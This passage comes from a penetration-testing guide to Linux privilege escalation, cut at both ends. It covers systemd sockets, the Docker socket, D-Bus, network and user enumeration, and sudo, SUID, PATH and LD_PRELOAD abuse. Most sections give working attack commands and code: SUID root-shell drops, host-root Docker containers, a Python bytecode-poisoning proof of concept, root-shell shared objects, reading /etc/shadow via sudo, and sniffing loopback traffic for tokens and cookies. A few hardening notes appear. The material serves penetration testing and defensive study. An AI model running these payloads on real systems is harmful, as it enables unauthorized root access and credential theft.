unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. 766 - `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. 767 - `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. 768 - `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. 769 770 ### Writable .socket files 771 772 If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ 773 _Note that the system must be using that socket file configuration or the backdoor won't be executed_ 774 775 ### Socket activation + writable unit path (create missing service) 776 777 Another high-impact misconfiguration is: 778 779 - a socket unit with `Accept=no` and `Service=<name>.service` 780 - the referenced service unit is missing 781 - an attacker can write into `/etc/systemd/system` (or another unit search path) 782 783 In that case, the attacker can create `<name>.service`, then trigger traffic to the socket so systemd loads and executes the new service as root. 784 785 Quick flow: 786 787 ```bash 788 systemctl cat vuln.socket 789 # [Socket] 790 # Accept=no 791 # Service=vuln.service 792 ``` 793 794 ```bash 795 cat >/etc/systemd/system/vuln.service <<'EOF' 796 [Service] 797 Type=oneshot 798 ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash' 799 EOF 800 nc -q0 127.0.0.1 9999 801 /var/tmp/rootbash -p 802 ``` 803 804 ### Writable sockets 805 806 If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. 807 808 ### Enumerate Unix Sockets 809 810 ```bash 811 netstat -a -p --unix 812 ``` 813 814 ### Raw connection 815 816 ```bash 817 #apt-get install netcat-openbsd 818 nc -U /tmp/socket #Connect to UNIX-domain stream socket 819 nc -uU /tmp/socket #Connect to UNIX-domain datagram socket 820 821 #apt-get install socat 822 socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type 823 ``` 824 825 **Exploitation example:** 826 827 828 [Socket Command Injection](/hacktricks/linux-hardening/network-information/socket-command-injection) 829 830 ### HTTP sockets 831 832 Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: 833 834 ```bash 835 curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/ 836 ``` 837 838 If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. 839 840 ### Writable Docker Socket 841 842 The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. 843 844 #### **Privilege Escalation with Docker CLI** 845 846 If you have write access to the Docker socket, you can escalate privileges using the following commands:<sup>[[15]](#references)</sup> 847 848 ```bash 849 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash 850 docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh 851 ``` 852 853 These commands allow you to run a container with root-level access to the host's file system. 854 855 #### **Using Docker API Directly** 856 857 In cases where the Docker CLI isn't available, the Docker socket can still be abused using raw HTTP over the Unix socket. The most reliable flow is: 858 859 - create a long-lived helper container with the host root bind-mounted 860 - start it 861 - create an `exec` instance inside that helper 862 - start the `exec` instance and read the output back through the API 863 864 **List Docker images** 865 866 ```bash 867 curl --unix-socket /var/run/docker.sock http://localhost/images/json 868 ``` 869 870 **Create and start a helper container** 871 872 ```bash 873 HELPER=helper 874 875 curl --unix-socket /var/run/docker.sock \ 876 -H "Content-Type: application/json" \ 877 -d '{"Image":"alpine:3.20","Cmd":["sleep","99999"],"HostConfig":{"Binds":["/:/host"]}}' \ 878 "http://localhost/v1.47/containers/create?name=${HELPER}" 879 880 curl --unix-socket /var/run/docker.sock \ 881 -X POST "http://localhost/v1.47/containers/${HELPER}/start" 882 ``` 883 884 **Create an exec instance** 885 886 ```bash 887 EXEC_ID=$( 888 curl -s --unix-socket /var/run/docker.sock \ 889 -H "Content-Type: application/json" \ 890 -d '{"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["sh","-lc","find /host/root -maxdepth 1 -type f"]}' \ 891 "http://localhost/v1.47/containers/${HELPER}/exec" \ 892 | tr -d '\n' \ 893 | sed -n 's/.*"Id":"\([^"]*\)".*/\1/p' 894 ) 895 ``` 896 897 **Start the exec instance and read the output** 898 899 ```bash 900 curl --unix-socket /var/run/docker.sock \ 901 -H "Content-Type: application/json" \ 902 -d '{"Detach":false,"Tty":true}' \ 903 "http://localhost/v1.47/exec/${EXEC_ID}/start" 904 ``` 905 906 This pattern is usually more robust than trying to drive `attach` manually with `socat` or `nc -U`. Once you can create a helper with `/:/host`, you can use additional `exec` instances to read files such as `/host/root/...`, add SSH keys under `/host/root/.ssh`, or modify host startup files. 907 908 ### Others 909 910 Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](../../user-information/interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](/hacktricks/network-services-pentesting/2375-pentesting-docker#compromising). 911 912 Check **more ways to break out from containers or abuse container runtimes to escalate privileges** in: 913 914 915 [Container Security](/hacktricks/linux-hardening/containers-namespaces/container-security/overview) 916 917 ## Containerd (ctr) privilege escalation 918 919 If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: 920 921 922 [Containerd Ctr Privilege Escalation](/hacktricks/linux-hardening/containers-namespaces/containerd-ctr-privilege-escalation) 923 924 ## **RunC** privilege escalation 925 926 If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: 927 928 929 [Runc Privilege Escalation](/hacktricks/linux-hardening/containers-namespaces/runc-privilege-escalation) 930 931 ## **D-Bus** 932 933 D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication.<sup>[[16]](#references)</sup> 934 935 The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. 936 937 D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. 938 939 An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. 940 941 Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. 942 943 ```xml 944 <policy user="root"> 945 <allow own="fi.w1.wpa_supplicant1"/> 946 <allow send_destination="fi.w1.wpa_supplicant1"/> 947 <allow send_interface="fi.w1.wpa_supplicant1"/> 948 <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/> 949 </policy> 950 ``` 951 952 **Learn how to enumerate and exploit a D-Bus communication here:** 953 954 955 [D Bus Enumeration And Command Injection Privilege Escalation](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation) 956 957 ## **Network** 958 959 It's always interesting to enumerate the network and figure out the position of the machine. 960 961 ### Generic enumeration 962 963 ```bash 964 #Hostname, hosts and DNS 965 cat /etc/hostname /etc/hosts /etc/resolv.conf 966 dnsdomainname 967 968 #NSS resolution order (hosts file vs DNS) 969 grep -E '^(hosts|networks):' /etc/nsswitch.conf 970 getent hosts localhost 971 972 #Content of /etc/inetd.conf & /etc/xinetd.conf 973 cat /etc/inetd.conf /etc/xinetd.conf 974 975 #Interfaces 976 cat /etc/networks 977 (ifconfig || ip a) 978 (ip -br addr || ip addr show) 979 980 #Routes and policy routing (pivot paths) 981 ip route 982 ip -6 route 983 ip rule 984 ip route get 1.1.1.1 985 986 #L2 neighbours 987 (arp -e || arp -a || ip neigh) 988 989 #Neighbours 990 (arp -e || arp -a) 991 (route || ip n) 992 993 #L2 topology (VLANs/bridges/bonds) 994 ip -d link 995 bridge link 2>/dev/null 996 997 #Network namespaces (hidden interfaces/routes in containers) 998 ip netns list 2>/dev/null 999 ls /var/run/netns/ 2>/dev/null 1000 nsenter --net=/proc/1/ns/net ip a 2>/dev/null 1001 1002 #Iptables rules 1003 (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null) 1004 1005 #nftables and firewall wrappers (modern hosts) 1006 sudo nft list ruleset 2>/dev/null 1007 sudo nft list ruleset -a 2>/dev/null 1008 sudo ufw status verbose 2>/dev/null 1009 sudo firewall-cmd --state 2>/dev/null 1010 sudo firewall-cmd --list-all 2>/dev/null 1011 1012 #Forwarding / asymmetric routing / conntrack state 1013 sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null 1014 sudo conntrack -L 2>/dev/null | head -n 20 1015 1016 #Files used by network services 1017 lsof -i 1018 ``` 1019 1020 ### Outbound filtering quick triage 1021 1022 If the host can run commands but callbacks fail, separate DNS, transport, proxy, and route filtering quickly: 1023 1024 ```bash 1025 # DNS over UDP and TCP (TCP fallback often survives UDP/53 filters) 1026 dig +time=2 +tries=1 @1.1.1.1 google.com A 1027 dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A 1028 1029 # Common outbound ports 1030 for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done 1031 1032 # Route/path clue for 443 filtering 1033 sudo traceroute -T -p 443 example.org 2>/dev/null || true 1034 1035 # Proxy-enforced environments and remote-DNS SOCKS testing 1036 env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy' 1037 curl --socks5-hostname <ip>:1080 https://ifconfig.me 1038 ``` 1039 1040 ### Open ports 1041 1042 Always check network services running on the machine that you weren't able to interact with before accessing it: 1043 1044 ```bash 1045 (netstat -punta || ss --ntpu) 1046 (netstat -punta || ss --ntpu) | grep "127.0" 1047 ss -tulpn 1048 #Quick view of local bind addresses (great for hidden/isolated interfaces) 1049 ss -tulpn | awk '{print $5}' | sort -u 1050 ``` 1051 1052 Classify listeners by bind target: 1053 1054 - `0.0.0.0` / `[::]`: exposed on all local interfaces. 1055 - `127.0.0.1` / `::1`: local-only (good tunnel/forward candidates). 1056 - Specific internal IPs (e.g. `10.x`, `172.16/12`, `192.168.x`, `fe80::`): usually reachable only from internal segments. 1057 1058 ### Local-only service triage workflow 1059 1060 When you compromise a host, services bound to `127.0.0.1` often become reachable for the first time from your shell. A quick local workflow is: 1061 1062 ```bash 1063 # 1) Find local listeners 1064 ss -tulnp 1065 1066 # 2) Discover open localhost TCP ports 1067 nmap -Pn --open -p- 127.0.0.1 1068 1069 # 3) Fingerprint only discovered ports 1070 nmap -Pn -sV -p <ports> 127.0.0.1 1071 1072 # 4) Manually interact / banner grab 1073 nc 127.0.0.1 <port> 1074 printf 'HELP\r\n' | nc 127.0.0.1 <port> 1075 ``` 1076 1077 ### LinPEAS as a network scanner (network-only mode) 1078 1079 Besides local PE checks, linPEAS can run as a focused network scanner. It uses available binaries in `$PATH` (typically `fping`, `ping`, `nc`, `ncat`) and does not install tooling. 1080 1081 ```bash 1082 # Auto-discover subnets + hosts + quick ports 1083 ./linpeas.sh -t 1084 1085 # Host discovery in CIDR 1086 ./linpeas.sh -d 10.10.10.0/24 1087 1088 # Host discovery + custom ports 1089 ./linpeas.sh -d 10.10.10.0/24 -p 22,80,443 1090 1091 # Scan one IP (default/common ports) 1092 ./linpeas.sh -i 10.10.10.20 1093 1094 # Scan one IP with selected ports 1095 ./linpeas.sh -i 10.10.10.20 -p 21,22,80,443 1096 ``` 1097 1098 If you pass `-d`, `-p`, or `-i` without `-t`, linPEAS behaves as a pure network scanner (skipping the rest of privilege-escalation checks). 1099 1100 ### Sniffing 1101 1102 Check if you can sniff traffic. If you can, you could be able to grab some credentials. 1103 1104 ```text 1105 timeout 1 tcpdump 1106 ``` 1107 1108 Quick practical checks: 1109 1110 ```bash 1111 #Can I capture without full sudo? 1112 which dumpcap && getcap "$(which dumpcap)" 1113 1114 #Find capture interfaces 1115 tcpdump -D 1116 ip -br addr 1117 ``` 1118 1119 Loopback (`lo`) is especially valuable in post-exploitation because many internal-only services expose tokens/cookies/credentials there: 1120 1121 ```bash 1122 sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \ 1123 | egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf' 1124 ``` 1125 1126 Capture now, parse later: 1127 1128 ```bash 1129 sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap 1130 tshark -r /tmp/capture.pcap -Y http.request \ 1131 -T fields -e frame.time -e ip.src -e http.host -e http.request.uri 1132 ``` 1133 1134 ## Users 1135 1136 ### Generic Enumeration 1137 1138 Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** 1139 1140 ```bash 1141 #Info about me 1142 id || (whoami && groups) 2>/dev/null 1143 #List all users 1144 cat /etc/passwd | cut -d: -f1 1145 #List users with console 1146 cat /etc/passwd | grep "sh$" 1147 #List superusers 1148 awk -F: '($3 == "0") {print}' /etc/passwd 1149 #Currently logged users 1150 who 1151 w 1152 #Only usernames 1153 users 1154 #Login history 1155 last | tail 1156 #Last log of each user 1157 lastlog2 2>/dev/null || lastlog 1158 1159 #List all users and their groups 1160 for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort 1161 #Current user PGP keys 1162 gpg --list-keys 2>/dev/null 1163 ``` 1164 1165 ### Big UID 1166 1167 Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).<sup>[[33]](#references)[[34]](#references)[[35]](#references)</sup>\ 1168 **Exploit it** using: **`systemd-run -t /bin/bash`** 1169 1170 ### Groups 1171 1172 Check if you are a **member of some group** that could grant you root privileges: 1173 1174 1175 [Interesting Groups Linux Pe](/hacktricks/linux-hardening/user-information/interesting-groups-linux-pe/overview) 1176 1177 ### Clipboard 1178 1179 Check if anything interesting is located inside the clipboard (if possible) 1180 1181 ```bash 1182 if [ `which xclip 2>/dev/null` ]; then 1183 echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` 1184 echo "Highlighted text: "`xclip -o 2>/dev/null` 1185 elif [ `which xsel 2>/dev/null` ]; then 1186 echo "Clipboard: "`xsel -ob 2>/dev/null` 1187 echo "Highlighted text: "`xsel -o 2>/dev/null` 1188 else echo "Not found xsel and xclip" 1189 fi 1190 ``` 1191 1192 ### Password Policy 1193 1194 ```bash 1195 grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 1196 ``` 1197 1198 ### Known passwords 1199 1200 If you **know any password** of the environment **try to login as each user** using the password. 1201 1202 ### Su Brute 1203 1204 If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ 1205 [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. 1206 1207 ## Writable PATH abuses 1208 1209 ### $PATH 1210 1211 If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. 1212 1213 ### SUDO and SUID 1214 1215 You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: 1216 1217 ```bash 1218 sudo -l #Check commands you can execute with sudo 1219 find / -perm -4000 2>/dev/null #Find all SUID binaries 1220 ``` 1221 1222 Some **unexpected commands allow you to read and/or write files or even execute a command**.<sup>[[8]](#references)</sup> For example: 1223 1224 ```bash 1225 sudo awk 'BEGIN {system("/bin/sh")}' 1226 sudo find /etc -exec sh -i \; 1227 sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh 1228 sudo tar c a.tar -I ./runme.sh a 1229 ftp>!/bin/sh 1230 less>! <shell_comand> 1231 ``` 1232 1233 ### NOPASSWD 1234 1235 Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. 1236 1237 ```text 1238 $ sudo -l 1239 User demo may run the following commands on crashlab: 1240 (root) NOPASSWD: /usr/bin/vim 1241 ``` 1242 1243 In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. 1244 1245 ```text 1246 sudo vim -c '!sh' 1247 ``` 1248 1249 ### SETENV 1250 1251 This directive allows the user to **set an environment variable** while executing something: 1252 1253 ```bash 1254 $ sudo -l 1255 User waldo may run the following commands on admirer: 1256 (ALL) SETENV: /opt/scripts/admin_tasks.sh 1257 ``` 1258 1259 This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: 1260 1261 ```bash 1262 sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh 1263 ``` 1264 1265 ### Writable `__pycache__` / `.pyc` poisoning in sudo-allowed Python imports 1266 1267 If a **sudo-allowed Python script** imports a module whose package directory contains a **writable `__pycache__`**, you may be able to replace the cached `.pyc` and get code execution as the privileged user on the next import.<sup>[[30]](#references)</sup> 1268 1269 - Why it works: 1270 - CPython stores bytecode caches in `__pycache__/module.cpython-<ver>.pyc`.<sup>[[31]](#references)</sup> 1271 - The interpreter validates the **header** (magic + timestamp/hash metadata tied to the source), then executes the marshaled code object stored after that header. 1272 - If you can **delete and recreate** the cached file because the directory is writable, a root-owned but non-writable `.pyc` can still be replaced. 1273 - Typical path: 1274 - `sudo -l` shows a Python script or wrapper you can run as root. 1275 - That script imports a local module from `/opt/app/`, `/usr/local/lib/...`, etc. 1276 - The imported module's `__pycache__` directory is writable by your user or by everyone. 1277 1278 Quick enumeration: 1279 1280 ```bash 1281 sudo -l 1282 find / -type d -name __pycache__ -writable 2>/dev/null 1283 find / -type f -path '*/__pycache__/*.pyc' -ls 2>/dev/null 1284 ``` 1285 1286 If you can inspect the privileged script, identify imported modules and their cache path:<sup>[[32]](#references)</sup> 1287 1288 ```bash 1289 grep -R "^import \\|^from " /opt/target/ 2>/dev/null 1290 python3 - <<'PY' 1291 import importlib.util 1292 spec = importlib.util.find_spec("target_module") 1293 print(spec.origin) 1294 print(spec.cached) 1295 PY 1296 ``` 1297 1298 Abuse workflow: 1299 1300 1. Run the sudo-allowed script once so Python creates the legit cache file if it does not already exist. 1301 2. Read the first 16 bytes from the legit `.pyc` and reuse them in the poisoned file. 1302 3. Compile a payload code object, `marshal.dumps(...)` it, delete the original cache file, and recreate it with the original header plus your malicious bytecode. 1303 4. Re-run the sudo-allowed script so the import executes your payload as root. 1304 1305 Important notes: 1306 1307 - Reusing the original header is key because Python checks the cache metadata against the source file, not whether the bytecode body really matches the source. 1308 - This is especially useful when the source file is root-owned and not writable, but the containing `__pycache__` directory is. 1309 - The attack fails if the privileged process uses `PYTHONDONTWRITEBYTECODE=1`, imports from a location with safe permissions, or removes write access to every directory in the import path. 1310 1311 Minimal proof-of-concept shape: 1312 1313 ```python 1314 import marshal, pathlib, subprocess, tempfile 1315 1316 pyc = pathlib.Path("/opt/app/__pycache__/target.cpython-312.pyc") 1317 header = pyc.read_bytes()[:16] 1318 payload = "import os; os.system('cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash')" 1319 1320 with tempfile.TemporaryDirectory() as d: 1321 src = pathlib.Path(d) / "x.py" 1322 src.write_text(payload) 1323 code = compile(src.read_text(), str(src), "exec") 1324 pyc.unlink() 1325 pyc.write_bytes(header + marshal.dumps(code)) 1326 1327 subprocess.run(["sudo", "/opt/app/runner.py"]) 1328 ``` 1329 1330 Hardening: 1331 1332 - Ensure no directory in the privileged Python import path is writable by low-privileged users, including `__pycache__`. 1333 - For privileged runs, consider `PYTHONDONTWRITEBYTECODE=1` and periodic checks for unexpected writable `__pycache__` directories. 1334 - Treat writable local Python modules and writable cache directories the same way you would treat writable shell scripts or shared libraries executed by root. 1335 1336 ### BASH_ENV preserved via sudo env_keep → root shell 1337 1338 If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.<sup>[[24]](#references)</sup> 1339 1340 - Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.<sup>[[23]](#references)</sup> 1341 1342 - Requirements: 1343 - A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). 1344 - `BASH_ENV` present in `env_keep` (check with `sudo -l`). 1345 1346 - PoC: 1347 1348 ```bash 1349 cat > /dev/shm/shell.sh <<'EOF' 1350 #!/bin/bash 1351 /bin/bash 1352 EOF 1353 chmod +x /dev/shm/shell.sh 1354 BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash 1355 # You should now have a root shell 1356 ``` 1357 1358 - Hardening: 1359 - Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`. 1360 - Avoid shell wrappers for sudo-allowed commands; use minimal binaries. 1361 - Consider sudo I/O logging and alerting when preserved env vars are used. 1362 1363 ### Terraform via sudo with preserved HOME (!env_reset) 1364 1365 If sudo leaves the environment intact (`!env_reset`) while allowing `terraform apply`, `$HOME` stays as the calling user. Terraform therefore loads **$HOME/.terraformrc** as root and honors `provider_installation.dev_overrides`.<sup>[[25]](#references)</sup> 1366 1367 - Point the required provider at a writable directory and drop a malicious plugin named after the provider (e.g., `terraform-provider-examples`): 1368 1369 ```text 1370 # ~/.terraformrc 1371 provider_installation { 1372 dev_overrides { 1373 "previous.htb/terraform/examples" = "/dev/shm" 1374 } 1375 direct {} 1376 } 1377 ``` 1378 1379 ```bash 1380 cat >/dev/shm/terraform-provider-examples <<'EOF' 1381 #!/bin/bash 1382 cp /bin/bash /var/tmp/rootsh 1383 chown root:root /var/tmp/rootsh 1384 chmod 6777 /var/tmp/rootsh 1385 EOF 1386 chmod +x /dev/shm/terraform-provider-examples 1387 sudo /usr/bin/terraform -chdir=/opt/examples apply 1388 ``` 1389 1390 Terraform will fail the Go plugin handshake but executes the payload as root before dying, leaving a SUID shell behind. 1391 1392 ### TF_VAR overrides + symlink validation bypass 1393 1394 Terraform variables can be provided via `TF_VAR_<name>` environment variables, which survive when sudo preserves the environment. Weak validations such as `strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")` can be bypassed with symlinks:<sup>[[25]](#references)</sup> 1395 1396 ```bash 1397 mkdir -p /dev/shm/root/examples 1398 ln -s /root/root.txt /dev/shm/root/examples/flag 1399 TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply 1400 cat /home/$USER/docker/previous/public/examples/flag 1401 ``` 1402 1403 Terraform resolves the symlink and copies the real `/root/root.txt` into an attacker-readable destination. The same approach can be used to **write** into privileged paths by pre-creating destination symlinks (e.g., pointing the provider’s destination path inside `/etc/cron.d/`). 1404 1405 ### requiretty / !requiretty 1406 1407 On some older distributions, sudo can be configured with `requiretty`, which forces sudo to run only from an interactive TTY. If `!requiretty` is set (or the option is absent), sudo can be executed from non-interactive contexts such as reverse shells, cron jobs, or scripts. 1408 1409 ```bash 1410 Defaults !requiretty 1411 ``` 1412 1413 This is not a direct vulnerability by itself, but it expands the situations where sudo rules can be abused without needing a full PTY. 1414 1415 ### Sudo env_keep+=PATH / insecure secure_path → PATH hijack 1416 1417 If `sudo -l` shows `env_keep+=PATH` or a `secure_path` containing attacker-writable entries (e.g., `/home/<user>/bin`), any relative command inside the sudo-allowed target can be shadowed.<sup>[[3]](#references)</sup> 1418 1419 - Requirements: a sudo rule (often `NOPASSWD`) running a script/binary that calls commands without absolute paths (`free`, `df`, `ps`, etc.) and a writable PATH entry that is searched first. 1420 1421 ```bash 1422 cat > ~/bin/free <<'EOF' 1423 #!/bin/bash 1424 chmod +s /bin/bash 1425 EOF 1426 chmod +x ~/bin/free 1427 sudo /usr/local/bin/system_status.sh # calls free → runs our trojan 1428 bash -p # root shell via SUID bit 1429 ``` 1430 1431 ### Sudo execution bypassing paths 1432 **Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ 1433 1434 ```bash 1435 sudo less /var/logs/anything 1436 less>:e /etc/shadow #Jump to read other files using privileged less 1437 ``` 1438 1439 ```bash 1440 ln /etc/shadow /var/log/new 1441 sudo less /var/log/new #Use symlinks to read any file 1442 ``` 1443 1444 If a **wildcard** is used (\*), it is even easier: 1445 1446 ```bash 1447 sudo less /var/log/../../etc/shadow #Read shadow 1448 sudo less /var/log/something /etc/shadow #Red 2 files 1449 ``` 1450 1451 **Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) 1452 1453 ### Sudo command/SUID binary without command path 1454 1455 If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable 1456 1457 ```bash 1458 export PATH=/tmp:$PATH 1459 #Put your backdoor in /tmp and name it "less" 1460 sudo less 1461 ``` 1462 1463 This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. 1464 1465 [Payload examples to execute.](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute) 1466 1467 ### SUID binary with command path 1468 1469 If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. 1470 1471 For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: 1472 1473 ```bash 1474 function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } 1475 export -f /usr/sbin/service 1476 ``` 1477 1478 Then, when you call the suid binary, this function will be executed 1479 1480 ### Writable script executed by a SUID wrapper 1481 1482 A common custom-app misconfiguration is a root-owned SUID binary wrapper that executes a script, while the script itself is writable by low-priv users. 1483 1484 Typical pattern: 1485 1486 ```c 1487 int main(void) { 1488 system("/bin/bash /usr/local/bin/backup.sh"); 1489 } 1490 ``` 1491 1492 If `/usr/local/bin/backup.sh` is writable, you can append payload commands and then execute the SUID wrapper: 1493 1494 ```bash 1495 echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh 1496 /usr/local/bin/backup_wrap 1497 /var/tmp/rootbash -p 1498 ``` 1499 1500 Quick checks: 1501 1502 ```bash 1503 find / -perm -4000 -type f 2>/dev/null 1504 strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh' 1505 ls -l /usr/local/bin/backup.sh 1506 ``` 1507 1508 This attack path is especially common in "maintenance"/"backup" wrappers shipped in `/usr/local/bin`. 1509 1510 ### LD_PRELOAD & **LD_LIBRARY_PATH** 1511 1512 The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. 1513 1514 However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: 1515 1516 - The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). 1517 - For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. 1518 1519 Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.<sup>[[9]](#references)</sup> 1520 1521 ```text 1522 Defaults env_keep += LD_PRELOAD 1523 ``` 1524 1525 Save as **/tmp/pe.c** 1526 1527 ```c 1528 #include <stdio.h> 1529 #include <sys/types.h> 1530 #include <stdlib.h> 1531 1532 void _init() { 1533 unsetenv("LD_PRELOAD"); 1534 setgid(0); 1535 setuid(0); 1536 system("/bin/bash"); 1537 } 1538 ``` 1539 1540 Then **compile it** using: 1541 1542 ```bash 1543 cd /tmp 1544 gcc -fPIC -shared -o pe.so pe.c -nostartfiles 1545 ``` 1546 1547 Finally, **escalate privileges** running 1548 1549 ```bash 1550 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo 1551 ``` 1552 1553 > [!CAUTION] 1554 > A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. 1555 1556 ```c 1557 #include <stdio.h> 1558 #include <stdlib.h> 1559 1560 static void hijack() __attribute__((constructor)); 1561 1562 void hijack() { 1563 unsetenv("LD_LIBRARY_PATH"); 1564 setresuid(0,0,0); 